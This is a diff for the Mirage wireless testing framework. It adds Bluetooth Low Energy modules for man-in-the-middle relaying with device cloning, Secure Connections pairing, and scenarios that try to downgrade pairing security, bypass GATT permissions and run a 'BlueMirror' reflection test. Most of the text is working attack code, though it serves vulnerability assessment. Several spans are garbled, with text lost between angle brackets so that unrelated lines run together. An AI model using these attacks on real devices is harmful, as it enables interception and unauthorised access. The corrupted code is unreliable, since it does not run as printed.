@module.scenarioSignal("onSlaveLLCTEReq") + # def slaveLLCTEReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCTEReq") + # def masterLLCTEReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCTERsp") + # def slaveLLCTERsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCTERsp") + # def masterLLCTERsp(self, packet): + # io.info("Master: " + packet.toString()) + + # # @module.scenarioSignal("onSlaveLLPeriodicSyncInd") + # def slaveLLPeriodicSyncInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPeriodicSyncInd") + # def masterLLPeriodicSyncInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLClockAccuracyReq") + # def slaveLLClockAccuracyReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLClockAccuracyReq") + # def masterLLClockAccuracyReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLClockAccuracyRsp") + # def slaveLLClockAccuracyRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLClockAccuracyRsp") + # def masterLLClockAccuracyRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISReq") + # def slaveLLCISReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISReq") + # def masterLLCISReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISRsp") + # def slaveLLCISRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISRsp") + # def masterLLCISRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISInd") + # def slaveLLCISInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISInd") + # def masterLLCISInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLCISTerminateInd") + # def slaveLLCISTerminateInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLCISTerminateInd") + # def masterLLCISTerminateInd(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLPowerControlReq") + # def slaveLLPowerControlReq(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPowerControlReq") + # def masterLLPowerControlReq(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLPowerControlRsp") + # def slaveLLPowerControlRsp(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLPowerControlRsp") + # def masterLLPowerControlRsp(self, packet): + # io.info("Master: " + packet.toString()) + + # @module.scenarioSignal("onSlaveLLChangeInd") + # def slaveLLChangeInd(self, packet): + # io.info("Slave: " + packet.toString()) + + # @module.scenarioSignal("onMasterLLChangeInd") + # def masterLLChangeInd(self, packet): + # io.info("Master: " + packet.toString()) + + def registerEvents(self): + + # Connect Callbacks + self.a2mReceiver.onEvent("BLEConnectResponse", callback=self.connect) + + # Disconnect Callbacks + self.a2mReceiver.onEvent("BLEDisconnect", callback=self.disconnectMaster) + self.a2sReceiver.onEvent("BLEDisconnect", callback=self.disconnectSlave) + + # Error Callback + self.a2sReceiver.onEvent("BLEErrorResponse", callback=self.slaveErrorResponse) + self.a2mReceiver.onEvent("BLEErrorResponse", callback=self.masterErrorResponse) + + # Write Callbacks + self.a2mReceiver.onEvent("BLEWriteCommand", callback=self.writeCommand) + self.a2mReceiver.onEvent("BLEWriteRequest", callback=self.writeRequest) + self.a2sReceiver.onEvent("BLEWriteResponse", callback=self.writeResponse) + + # Read Callbacks + self.a2mReceiver.onEvent("BLEReadRequest", callback=self.read) + self.a2sReceiver.onEvent("BLEReadResponse", callback=self.readResponse) + self.a2mReceiver.onEvent("BLEReadBlobRequest", callback=self.readBlob) + self.a2sReceiver.onEvent("BLEReadBlobResponse", callback=self.readBlobResponse) + + # Notification Callback + self.a2sReceiver.onEvent( + "BLEHandleValueNotification", callback=self.notification + ) + self.a2sReceiver.onEvent("BLEHandleValueIndication", callback=self.indication) + self.a2mReceiver.onEvent( + "BLEHandleValueConfirmation", callback=self.confirmation + ) + + # Find Information Callbacks + self.a2mReceiver.onEvent( + "BLEFindInformationRequest", callback=self.findInformation + ) + self.a2sReceiver.onEvent( + "BLEFindInformationResponse", callback=self.findInformationResponse + ) + + # Find Type Value Callbacks + self.a2mReceiver.onEvent( + "BLEFindByTypeValueRequest", callback=self.findByTypeValueRequest + ) + self.a2sReceiver.onEvent( + "BLEFindByTypeValueResponse", callback=self.findByTypeValueResponse + ) + + # Read By Callbacks + self.a2mReceiver.onEvent("BLEReadByTypeRequest", callback=self.masterReadByType) + self.a2sReceiver.onEvent("BLEReadByTypeRequest", callback=self.slaveReadByType) + + self.a2mReceiver.onEvent( + "BLEReadByGroupTypeRequest", callback=self.readByGroupType + ) + self.a2sReceiver.onEvent( + "BLEReadByTypeResponse", callback=self.readByTypeResponse + ) + self.a2sReceiver.onEvent( + "BLEReadByGroupTypeResponse", callback=self.readByGroupTypeResponse + ) + + # MTU Callbacks + self.a2mReceiver.onEvent( + "BLEExchangeMTURequest", callback=self.exchangeMtuRequest + ) + self.a2sReceiver.onEvent( + "BLEExchangeMTUResponse", callback=self.exchangeMtuResponse + ) + + # Connection Parameter Update Callbacks + self.a2mReceiver.onEvent( + "BLEConnectionParameterUpdateResponse", + callback=self.masterConnectionParameterUpdateResponse, + ) + + self.a2sReceiver.onEvent( + "BLEConnectionParameterUpdateRequest", + callback=self.slaveConnectionParameterUpdateRequest, + ) + + # Security Manager Callbacks + self.a2mReceiver.onEvent( + "BLELongTermKeyRequest", callback=self.longTermKeyRequest + ) + + self.a2mReceiver.onEvent( + "BLEEncryptionChange", callback=self.masterEncryptionChange + ) + self.a2sReceiver.onEvent( + "BLEEncryptionChange", callback=self.slaveEncryptionChange + ) + + self.a2mReceiver.onEvent("BLEPairingRequest", callback=self.pairingRequest) + self.a2sReceiver.onEvent("BLEPairingResponse", callback=self.pairingResponse) + self.a2sReceiver.onEvent("BLESecurityRequest", callback=self.securityRequest) + + self.a2sReceiver.onEvent("BLEPairingConfirm", callback=self.slavePairingConfirm) + self.a2mReceiver.onEvent("BLEPairingRandom", callback=self.masterPairingRandom) + self.a2sReceiver.onEvent("BLEPairingRandom", callback=self.slavePairingRandom) + self.a2sReceiver.onEvent("BLEPairingFailed", callback=self.slavePairingFailed) + self.a2mReceiver.onEvent("BLEPairingFailed", callback=self.masterPairingFailed) + + self.a2sReceiver.onEvent( + "BLEIdentityInformation", callback=self.slaveIdentityInformation + ) + self.a2sReceiver.onEvent( + "BLEIdentityAddressInformation", + callback=self.slaveIdentityAddressInformation, + ) + self.a2sReceiver.onEvent( + "BLESigningInformation", callback=self.slaveSigningInformation + ) + + self.a2mReceiver.onEvent( + "BLEIdentityInformation", callback=self.masterIdentityInformation + ) + self.a2mReceiver.onEvent( + "BLEIdentityAddressInformation", + callback=self.masterIdentityAddressInformation, + ) + self.a2mReceiver.onEvent( + "BLESigningInformation", callback=self.masterSigningInformation + ) + + self.a2sReceiver.onEvent("BLEPublicKey", callback=self.slavePublicKey) + self.a2mReceiver.onEvent("BLEPublicKey", callback=self.masterPublicKey) + + self.a2sReceiver.onEvent("BLEDHKeyCheck", callback=self.slaveDHKeyCheck) + self.a2mReceiver.onEvent("BLEDHKeyCheck", callback=self.masterDHKeyCheck) + + def registerLLEvents(self): + + # LL Callbacks + self.a2sReceiver.onEvent( + "BLELLConnUpdateInd", callback=self.slaveLLConnUpdateInd + ) + self.a2mReceiver.onEvent( + "BLELLConnUpdateInd", callback=self.masterLLConnUpdateInd + ) + self.a2sReceiver.onEvent("BLELLChanMapInd", callback=self.slaveLLChannelMapInd) + self.a2mReceiver.onEvent("BLELLChanMapInd", callback=self.masterLLChannelMapInd) + self.a2sReceiver.onEvent("BLELLTerminateInd", callback=self.slaveLLTerminateInd) + self.a2mReceiver.onEvent( + "BLELLTerminateInd", callback=self.masterLLTerminateInd + ) + + self.a2mReceiver.onEvent("BLELLEncReq", callback=self.masterLLEncReq) + self.a2sReceiver.onEvent("BLELLEncReq", callback=self.slaveLLEncReq) + + self.a2sReceiver.onEvent("BLELLEncRsp", callback=self.slaveLLEncRsp) + self.a2mReceiver.onEvent("BLELLEncRsp", callback=self.masterLLEncRsp) + + self.a2sReceiver.onEvent("BLELLStartEncReq", callback=self.slaveLLStartEncReq) + self.a2mReceiver.onEvent("BLELLStartEncReq", callback=self.masterLLStartEncReq) + + self.a2sReceiver.onEvent("BLELLStartEncRsp", callback=self.slaveLLStartEncRsp) + self.a2mReceiver.onEvent("BLELLStartEncRsp", callback=self.masterLLStartEncRsp) + + self.a2sReceiver.onEvent("BLELLUnknownRsp", callback=self.slaveLLUnknownRsp) + self.a2mReceiver.onEvent("BLELLUnknownRsp", callback=self.masterLLUnknownRsp) + + self.a2sReceiver.onEvent("BLELLFeatureReq", callback=self.slaveLLFeatureReq) + self.a2mReceiver.onEvent("BLELLFeatureReq", callback=self.masterLLFeatureReq) + + self.a2sReceiver.onEvent("BLELLFeatureRsp", callback=self.slaveLLFeatureRsp) + self.a2mReceiver.onEvent("BLELLFeatureRsp", callback=self.masterLLFeatureRsp) + + self.a2mReceiver.onEvent("BLELLPauseEncReq", callback=self.masterLLPauseEncReq) + self.a2sReceiver.onEvent("BLELLPauseEncReq", callback=self.slaveLLPauseEncReq) + + self.a2sReceiver.onEvent("BLELLPauseEncRsp", callback=self.slaveLLPauseEncRsp) + self.a2mReceiver.onEvent("BLELLPauseEncRsp", callback=self.masterLLPauseEncRsp) + + self.a2sReceiver.onEvent("BLELLVersionInd", callback=self.slaveLLVersionInd) + self.a2mReceiver.onEvent("BLELLVersionInd", callback=self.masterLLVersionInd) + + self.a2sReceiver.onEvent("BLELLRejectInd", callback=self.slaveLLRejectInd) + self.a2mReceiver.onEvent("BLELLRejectInd", callback=self.masterLLRejectInd) + + self.a2sReceiver.onEvent( + "BLELLSlaveFeatureReq", callback=self.slaveLLSlaveFeatureReq + ) + self.a2mReceiver.onEvent( + "BLELLSlaveFeatureReq", callback=self.masterLLSlaveFeatureReq + ) + + self.a2sReceiver.onEvent("BLELLConnParamReq", callback=self.slaveLLConnParamReq) + self.a2mReceiver.onEvent( + "BLELLConnParamReq", callback=self.masterLLConnParamReq + ) + self.a2sReceiver.onEvent("BLELLConnParamRsp", callback=self.slaveLLConnParamRsp) + self.a2mReceiver.onEvent( + "BLELLConnParamRsp", callback=self.masterLLConnParamRsp + ) + + self.a2sReceiver.onEvent("BLELLRejectExtInd", callback=self.slaveLLRejectExtInd) + self.a2mReceiver.onEvent( + "BLELLRejectExtInd", callback=self.masterLLRejectExtInd + ) + + self.a2sReceiver.onEvent("BLELLPingReq", callback=self.slaveLLPingReq) + self.a2mReceiver.onEvent("BLELLPingReq", callback=self.masterLLPingReq) + + self.a2sReceiver.onEvent("BLELLPingRsp", callback=self.slaveLLPingRsp) + self.a2mReceiver.onEvent("BLELLPingRsp", callback=self.masterLLPingRsp) + + self.a2sReceiver.onEvent("BLELLDataLenReq", callback=self.slaveLLLengthReq) + self.a2mReceiver.onEvent("BLELLDataLenReq", callback=self.masterLLLengthReq) + + self.a2sReceiver.onEvent("BLELLDataLenRsp", callback=self.slaveLLLengthRsp) + self.a2mReceiver.onEvent("BLELLDataLenRsp", callback=self.masterLLLengthRsp) + + self.a2sReceiver.onEvent("BLELLPhyReq", callback=self.slaveLLPhyReq) + self.a2mReceiver.onEvent("BLELLPhyReq", callback=self.masterLLPhyReq) + + self.a2sReceiver.onEvent("BLELLPhyRsp", callback=self.slaveLLPhyRsp) + self.a2mReceiver.onEvent("BLELLPhyRsp", callback=self.masterLLPhyRsp) + + self.a2sReceiver.onEvent("BLELLUpdPHYInd", callback=self.slaveLLPhyUpdateInd) + self.a2mReceiver.onEvent("BLELLUpdPHYInd", callback=self.masterLLPhyUpdateInd) + + self.a2sReceiver.onEvent( + "BLELLMinUsedChann", callback=self.slaveLLMinUsedChannelsInd + ) + self.a2mReceiver.onEvent( + "BLELLMinUsedChann", callback=self.masterLLMinUsedChannelsInd + ) + + # TODO: Callbacks, which are by the time of writing not supported by Dongle + # self.a2sReceiver.onEvent("BLELLCTEReq", callback=self.slaveLLCTEReq) + # self.a2mReceiver.onEvent("BLELLCTEReq", callback=self.masterLLCTEReq) + + # self.a2sReceiver.onEvent("BLELLCTERsp", callback=self.slaveLLCTERsp) + # self.a2mReceiver.onEvent("BLELLCTERsp", callback=self.masterLLCTERsp) + + # self.a2sReceiver.onEvent("BLELLPeriodicSyncInd", callback=self.slaveLLPeriodicSyncInd) + # self.a2mReceiver.onEvent("BLELLPeriodicSyncInd", callback=self.masterLLPeriodicSyncInd) + + # self.a2sReceiver.onEvent("BLELLClockAccuracyReq", callback=self.slaveLLClockAccuracyReq) + # self.a2mReceiver.onEvent("BLELLClockAccuracyReq", callback=self.masterLLClockAccuracyReq) + + # self.a2sReceiver.onEvent("BLELLClockAccuracyRsp", callback=self.slaveLLClockAccuracyRsp) + # self.a2mReceiver.onEvent("BLELLClockAccuracyRsp", callback=self.masterLLClockAccuracyRsp) + + # self.a2sReceiver.onEvent("BLELLCISReq", callback=self.slaveLLCISReq) + # self.a2mReceiver.onEvent("BLELLCISReq", callback=self.masterLLCISReq) + + # self.a2sReceiver.onEvent("BLELLCISRsp", callback=self.slaveLLCISRsp) + # self.a2mReceiver.onEvent("BLELLCISRsp", callback=self.masterLLCISRsp) + + # self.a2sReceiver.onEvent("BLELLCISInd", callback=self.slaveLLCISInd) + # self.a2mReceiver.onEvent("BLELLCISInd", callback=self.masterLLCISInd) + + # self.a2sReceiver.onEvent("BLELLCISTerminateInd", callback=self.slaveLLCISTerminateInd) + # self.a2mReceiver.onEvent("BLELLCISTerminateInd", callback=self.masterLLCISTerminateInd) + + # self.a2sReceiver.onEvent("BLELLPowerControlReq", callback=self.slaveLLPowerControlReq) + # self.a2mReceiver.onEvent("BLELLPowerControlReq", callback=self.masterLLPowerControlReq) + + # self.a2sReceiver.onEvent("BLELLPowerControlRsp", callback=self.slaveLLPowerControlRsp) + # self.a2mReceiver.onEvent("BLELLPowerControlRsp", callback=self.masterLLPowerControlRsp) + + # self.a2sReceiver.onEvent("BLELLChangeInd", callback=self.slaveLLChangeInd) + # self.a2mReceiver.onEvent("BLELLChangeInd", callback=self.masterLLChangeInd) + + def checkParametersValidity(self): + if self.args["ADVERTISING_STRATEGY"] not in ("preconnect", "flood"): + io.fail("You have to select a valid strategy : 'flood' or 'preconnect'") + return self.nok() + return None + + def run(self): + validity = self.checkParametersValidity() + if validity is not None: + return validity + + self.initEmittersAndReceivers() + + self.a2mReceiver.storeCallbacks() + self.a2sReceiver.storeCallbacks() + + if self.checkCapabilities(): + if self.loadScenario(): + io.info("Scenario loaded !") + self.startScenario() + + self.slaveLocalAddress = self.a2sEmitter.getAddress() + self.slaveLocalAddressType = ( + 0 if self.a2sEmitter.getAddressMode() == "public" else 1 + ) + + # Advertising Callbacks + self.a2sReceiver.onEvent("BLEAdvertisement", callback=self.scanStage) + + io.success("Entering SCAN stage ...") + self.setStage(BLEMitmStage.SCAN) + + self.a2sReceiver.setScan(enable=True) + + self.waitUntilStage(BLEMitmStage.CLONE) + + self.a2sReceiver.setScan(enable=False) + + self.a2sReceiver.removeCallbacks() + + self.registerLLEvents() + self.registerEvents() + + if self.args["ADVERTISING_STRATEGY"] == "preconnect": + self.connectOnSlave() + + self.a2mEmitter.setAdvertising(enable=True) + io.success("Started Advertising. Entering WAIT_CONNECTION stage ...") + self.setStage(BLEMitmStage.WAIT_CONNECTION) + + self.waitUntilStage(BLEMitmStage.STOP) + + self.a2mReceiver.restoreCallbacks() + self.a2sReceiver.restoreCallbacks() + # Clean up connections + if self.a2mEmitter.isConnected(): + self.a2mEmitter.sendp(ble.BLEDisconnect()) + while self.a2mEmitter.isConnected(): + utils.wait(seconds=0.01) + if self.a2sEmitter.isConnected(): + self.a2sEmitter.sendp(ble.BLEDisconnect()) + while self.a2sEmitter.isConnected(): + utils.wait(seconds=0.01) + + moduleResult = {} + if self.scenarioEnabled: + scenarioResult = self.endScenario({}) + moduleResult["scenarioResult"] = scenarioResult + io.success("Result: {}".format(moduleResult)) + # Reset public address + self.a2mEmitter.setAddress("00:00:00:00:00", random=False) + self.a2sEmitter.setAddress("00:00:00:00:00", random=False) + return self.ok(moduleResult) + else: + io.fail( + "Interfaces provided (" + + str(self.args["INTERFACE"]) + + ") are not able to run this module." + ) + return self.nok() diff --git a/mirage/modules/ble_sc_pair.py b/mirage/modules/ble_sc_pair.py new file mode 100644 index 0000000..466149b --- /dev/null +++ b/mirage/modules/ble_sc_pair.py @@ -0,0 +1,911 @@ +from mirage.libs import io, ble, utils +from mirage.core import module +from enum import IntEnum +from mirage.libs.ble_utils.sc_crypto import SCCryptoInstance, CryptoUtils +from binascii import unhexlify +import struct + + +class ble_sc_pair(module.WirelessModule): + class ScenarioResult(IntEnum): + VULN = 0 + MAYBE = 1 + NOT = 2 + + def printScenarioStart(self, name): + name = "Start Scenario {}".format(name) + border = "=" * int((100 - len(name)) / 2) + title = border + name + border + io.success(title) + + def printScenarioEnd(self, result): + resultText1 = "Scenario finished {}".format( + "successful" if result["finished"] else "with failure", result["success"] + ) + border = "=" * 100 + io.success(border) + if result["finished"]: + io.success(resultText1) + else: + io.fail(resultText1) + if result["finished"]: + resultText2 = "Device is {}{}".format( + "maybe " if result["success"] == self.ScenarioResult.MAYBE else "", + "vulnerable" + if result["success"] != self.ScenarioResult.NOT + else "not vulnerable", + ) + if result["success"] == self.ScenarioResult.VULN: + io.fail(resultText2) + elif result["success"] == self.ScenarioResult.MAYBE: + io.warning(resultText2) + else: + io.success(resultText2) + io.success(border) + + def init(self): + + self.technology = "ble" + self.type = "action" + self.description = ( + "Secure Connections Pairing module for Bluetooth Low Energy devices" + ) + self.args = { + "INTERFACE": "hci0", + "MODE": "master", + "PIN": "", + "ACTIVE": "yes", + "ADDR_TYPE": "public", + "ADDR": "", + "KEYBOARD": "no", + "YESNO": "no", + "DISPLAY": "no", + "CT2": "no", + "MITM": "no", + "BONDING": "no", + "KEYPRESS": "no", + "SCENARIO": "", + "TARGET": "FC:58:FA:A1:26:6B", + "CONNECTION_TYPE": "public", + } + + self.sc_crypto = SCCryptoInstance() + + self.useOOB = False + self.checkMitm = False + self.ioCapabilities = False + self.justWorks = False + + self.pairingMethod = None + + self.pairingRequest = None + self.pairingResponse = None + + self.localAddress = None + self.localAddressType = None + self.remoteAddress = None + self.remoteAddressType = None + self.localNonce = None + self.remoteConfirm = None + self.localIOCap = None + self.remoteIOCap = None + self.pReq = None + self.pRes = None + + self.failure = False + + self.passkey = None + self.currBitIndex = 19 + self.bitMask = 0b10000000000000000000 + self.rb = 0x00 + # Results + self.localIRK = None + self.localCSRK = None + self.remoteIRK = None + self.remoteCSRK = None + + # Scenario-related methods + @module.scenarioSignal("onStart") + def startScenario(self): + pass + + @module.scenarioSignal("onEnd") + def endScenario(self, result): + return result + + def pairingMethodSelection(self): + self.secureConnections = ( + self.responderAuthReq.secureConnections + and self.initiatorAuthReq.secureConnections + ) + if self.secureConnections: + io.info("Both devices support LE secure connections") + self.useOOB = ( + self.pairingRequest.outOfBand and self.pairingResponse.outOfBand + ) + self.ioCapabilities = ( + self.responderAuthReq.mitm or self.initiatorAuthReq.mitm + ) + self.justWorks = ( + not self.responderAuthReq.mitm and not self.initiatorAuthReq.mitm + ) + + else: + io.fail( + "At least one of the devices doesn't support LE secure connections, please use ble_pair module" + ) + self.failure = True + + io.chart( + ["Out Of Bond", "IO Capabilities", "Just Works"], + [ + [ + "yes" if self.useOOB else "no", + "yes" if self.ioCapabilities else "no", + "yes" if self.justWorks else "no", + ] + ], + ) + + if self.ioCapabilities: + initiator = "NoInputNoOutput" + responder = "NoInputNoOutput" + if self.initiatorInputOutputCapability.data[0] == 0x00: + initiator = "DisplayOnly" + elif self.initiatorInputOutputCapability.data[0] == 0x01: + initiator = "DisplayYesNo" + elif self.initiatorInputOutputCapability.data[0] == 0x02: + initiator = "KeyboardOnly" + elif self.initiatorInputOutputCapability.data[0] == 0x03: + initiator = "NoInputNoOutput" + elif self.initiatorInputOutputCapability.data[0] == 0x04: + initiator = "KeyboardDisplay" + + if self.responderInputOutputCapability.data[0] == 0x00: + responder = "DisplayOnly" + elif self.responderInputOutputCapability.data[0] == 0x01: + responder = "DisplayYesNo" + elif self.responderInputOutputCapability.data[0] == 0x02: + responder = "KeyboardOnly" + elif self.responderInputOutputCapability.data[0] == 0x03: + responder = "NoInputNoOutput" + elif self.responderInputOutputCapability.data[0] == 0x04: + responder = "KeyboardDisplay" + + pairingMethod = ble.PairingMethods.getPairingMethod( + secureConnections=self.secureConnections, + initiatorInputOutputCapability=initiator, + responderInputOutputCapability=responder, + ) + + if pairingMethod == ble.PairingMethods.JUST_WORKS: + self.pairingMethod = "JustWorks" + elif pairingMethod == ble.PairingMethods.PASSKEY_ENTRY: + self.pairingMethod = "PasskeyEntry" + elif pairingMethod == ble.PairingMethods.NUMERIC_COMPARISON: + self.pairingMethod = "NumericComparison" + else: + self.pairingMethod = "JustWorks" + elif self.useOOB: + self.pairingMethod = "OutOfBonds" + else: + self.pairingMethod = "JustWorks" + + return self.pairingMethod + + @module.scenarioSignal("onDisconnect") + def disconnect(self, packet): + if not self.scenarioEnabled: + io.fail("Peer disconnected !") + self.failure = True + else: + io.info("Peer disconnected !") + + @module.scenarioSignal("onSlaveSecurityRequest") + def slaveSecurityRequest(self, packet): + io.info("{}".format(packet)) + io.info("{}".format(self.pairingRequest)) + self.emitter.sendp(self.pairingRequest) + + @module.scenarioSignal("onSlavePairingResponse") + def slavePairingResponse(self, packet): + self.localAddress = self.emitter.getAddress() + self.localAddressType = 0 if self.emitter.getAddressMode() == "public" else 1 + + self.remoteAddress = self.emitter.getCurrentConnection() + self.remoteAddressType = ( + 0 if self.emitter.getCurrentConnectionMode() == "public" else 1 + ) + + io.info("{}".format(packet)) + self.pairingResponse = packet + self.pRes = self.pairingResponse.payload[::-1] + + self.responderAuthReq = ble.AuthReqFlag(data=bytes([packet.authentication])) + self.responderInputOutputCapability = ble.InputOutputCapability( + data=bytes([packet.inputOutputCapability]) + ) + self.responderKeyDistribution = ble.KeyDistributionFlag( + data=bytes([packet.responderKeyDistribution]) + ) + self.pairingMethod = self.pairingMethodSelection() + io.info("Pairing Method selected : " + self.pairingMethod) + + (nwOrderPubKeyX, nwOrderPubKeyY) = self.sc_crypto.generateDHKeyPair() + self.remoteIOCap = ( + format(packet.authentication, "02x") + + ("01" if packet.outOfBand else "00") + + format(packet.inputOutputCapability, "02x") + ) + self.remoteIOCap = unhexlify(self.remoteIOCap) + response = ble.BLEPublicKey(key_x=nwOrderPubKeyX, key_y=nwOrderPubKeyY) + io.info("{}".format(response)) + self.emitter.sendp(response) + + @module.scenarioSignal("onSlavePublicKey") + def slavePublicKey(self, packet): + io.info("Slave: {}".format(packet)) + self.sc_crypto.generateDHSharedSecret(packet.key_x, packet.key_y) + io.info("{}".format(self.pairingMethod)) + + if self.pairingMethod == "PasskeyEntry": + nwOrderConfirmValue = self.generateConfirmValue() + response = ble.BLEPairingConfirm(confirm=nwOrderConfirmValue) + io.info("{}".format(response)) + self.emitter.sendp(response) + + @module.scenarioSignal("onSlavePairingConfirm") + def slavePairingConfirm(self, packet): + io.info("{}".format(packet)) + while not self.sc_crypto.isSharedSecretReady(): + utils.wait(0.2) + self.remoteConfirm = packet.confirm + nwOrderLocalNonce = ( + self.localNonce if self.localNonce else self.sc_crypto.generateLocalNonce() + ) + self.emitter.sendp(ble.BLEPairingRandom(random=nwOrderLocalNonce)) + + @module.scenarioSignal("onSlavePairingRandom") + def slavePairingRandom(self, packet): + io.info("{}".format(packet)) + self.remoteNonce = packet.random + if self.sc_crypto.verifyConfirmValue( + self.remoteNonce, self.remoteConfirm, rbi=bytes([self.rb]) + ): + io.info("Verify Confirm value success!") + else: + io.fail("Verify Confirm value failed!") + self.emitter.sendp(ble.BLEPairingFailed()) + if not self.scenarioEnabled: + self.failure = True + + if self.pairingMethod == "PasskeyEntry" and self.currBitIndex >= 0: + nwOrderConfirmValue = self.generateConfirmValue() + response = ble.BLEPairingConfirm(confirm=nwOrderConfirmValue) + io.info("{}".format(response)) + self.emitter.sendp(response) + else: + io.info("Deriving LTK") + self.sc_crypto.deriveLTKInitiator( + self.localAddress, + self.remoteAddress, + self.localAddressType, + self.remoteAddressType, + self.remoteNonce, + ) + io.info("Sending DH Key Check") + r = b"" + if self.pairingMethod == "PasskeyEntry": + r = struct.pack("> self.currBitIndex) & self.passkey) >> ( + 19 - self.currBitIndex + ) + self.currBitIndex -= 1 + rb = 0b10000000 ^ rb + self.rb = rb + return self.sc_crypto.generateConfirmValue(rbi=bytes([rb])) + + @module.scenarioSignal("onMasterPairingRandom") + def masterPairingRandom(self, packet): + io.info("{}".format(packet)) + self.remoteNonce = packet.random + if self.pairingMethod == "PasskeyEntry": + if self.sc_crypto.verifyConfirmValue( + self.remoteNonce, self.remoteConfirm, rbi=bytes([self.rb]) + ): + io.info("Verify Confirm value success!") + else: + io.fail("Verify Confirm value failed!") + self.emitter.sendp(ble.BLEPairingFailed()) + if not self.scenarioEnabled: + self.failure = True + return + + response = ble.BLEPairingRandom(random=self.localNonce) + io.info("{}".format(response)) + self.emitter.sendp(response) + + @module.scenarioSignal("onMasterDHKeyCheck") + def masterDHKeyCheck(self, packet): + io.info("{}".format(packet)) + io.info("Deriving LTK") + self.sc_crypto.deriveLTK( + self.localAddress, + self.remoteAddress, + self.localAddressType, + self.remoteAddressType, + self.remoteNonce, + ) + r = b"" + if self.pairingMethod == "PasskeyEntry": + r = struct.pack(" 0 or propDiffCount > 0: + if propDiffCount > 0: + io.warn( + "{} permissions have to be checked manually".format(propDiffCount) + ) + self.success = self.module.ScenarioResult.MAYBE + if diffCount > 0: + io.fail("{} permissions could be circumvented".format(diffCount)) + self.success = self.module.ScenarioResult.VULN + io.success( + "Compare {} and {} for further details".format( + self.gatt_file, self.authorised_gatt_file + ) + ) + else: + io.fail("Could not downgrade security...") + self.success = self.module.ScenarioResult.NOT + self.module.setStage(self.module.BLEStage.STOP) + + def discover( + self, emitter, start="0x0001", end="0xFFFF", interface="hci0", gatt_file="" + ): + m = utils.loadModule("ble_discover") + m["WHAT"] = "all" + m["INTERFACE"] = interface + m["START_HANDLE"] = start + m["END_HANDLE"] = end + m["GATT_FILE"] = gatt_file + old_verbosity_level = io.VERBOSITY_LEVEL + io.VERBOSITY_LEVEL = io.VerbosityLevels.NO_INFO_AND_WARNING + output = m.execute() + io.VERBOSITY_LEVEL = old_verbosity_level + if output["success"]: + io.info("Service discovery successful !") + return True + else: + io.fail("An error occured during service discovery !") + return False + + def pairSC(self): + m = utils.loadModule("ble_sc_pair") + m["INTERFACE"] = self.args["INTERFACE1"] + m["ADDR_TYPE"] = self.localAddressType + m["ADDR"] = self.localAddress + m["KEYBOARD"] = "no" + m["YESNO"] = "no" + m["DISPLAY"] = "no" + m["BONDING"] = "yes" + m["SECURE_CONNECTIONS"] = "yes" + old_verbosity_level = io.VERBOSITY_LEVEL + io.VERBOSITY_LEVEL = io.VerbosityLevels.NO_INFO_AND_WARNING + output = m.execute() + io.VERBOSITY_LEVEL = old_verbosity_level + if output["success"]: + io.info("Pairing enabled !") + return True + else: + io.fail("An error occured during pairing !") + return False + + def pair(self): + + m = utils.loadModule("ble_pair") + m["INTERFACE"] = self.args["INTERFACE1"] + m["MODE"] = "master" + m["ACTIVE"] = "yes" + m["ADDR_TYPE"] = "random" if self.localAddressType else "public" + m["KEYBOARD"] = "no" + m["ADDR"] = self.localAddress + m["YESNO"] = "no" + m["DISPLAY"] = "no" + m["BONDING"] = "yes" + m["MITM"] = "False" + m["SECURE_CONNECTIONS"] = "yes" + m["IRK"] = "222233445566778899aabbccddeeff" + m["CSRK"] = "332233445566778899aabbccddeeff" + old_verbosity_level = io.VERBOSITY_LEVEL + io.VERBOSITY_LEVEL = io.VerbosityLevels.NO_INFO_AND_WARNING + output = m.execute() + io.VERBOSITY_LEVEL = old_verbosity_level + if output["success"]: + io.info("Pairing enabled !") + return True + else: + io.fail("An error occured during pairing !") + return False diff --git a/mirage/scenarios/ble_blue_mirror.py b/mirage/scenarios/ble_blue_mirror.py new file mode 100644 index 0000000..7523ef2 --- /dev/null +++ b/mirage/scenarios/ble_blue_mirror.py @@ -0,0 +1,488 @@ +from mirage.core import scenario +from mirage.libs import io, ble, utils +from mirage.libs.ble_utils.sc_crypto import CryptoUtils, SCCryptoInstance +from binascii import unhexlify +import struct + + +class ble_blue_mirror(scenario.Scenario): + def onStart(self): + self.module.printScenarioStart("BlueMirror") + + if self.module.args["INTERFACE2"] == "": + io.fail("This scenario requires two interfaces!") + self.module.setStage(self.module.BLEStage.STOP) + return + + # Success status of the scenario + self.finished = False + self.success = self.module.ScenarioResult.NOT + # Local and remote address + self.localAddress = CryptoUtils.getRandomAddress() + # Use random address as public identity address + self.localAddressType = 1 + self.remoteAddress = None + # For device cloning + self.addrType = None + self.intervalMin = None + self.intervalMax = None + self.dataAdvInd = None + self.dataScanRsp = None + # Crypto Stuff + self.sc_crypto_slave = SCCryptoInstance() + self.sc_crypto_master = SCCryptoInstance() + + self.useOOB = False + self.checkMitm = False + self.ioCapabilities = False + self.justWorks = False + + 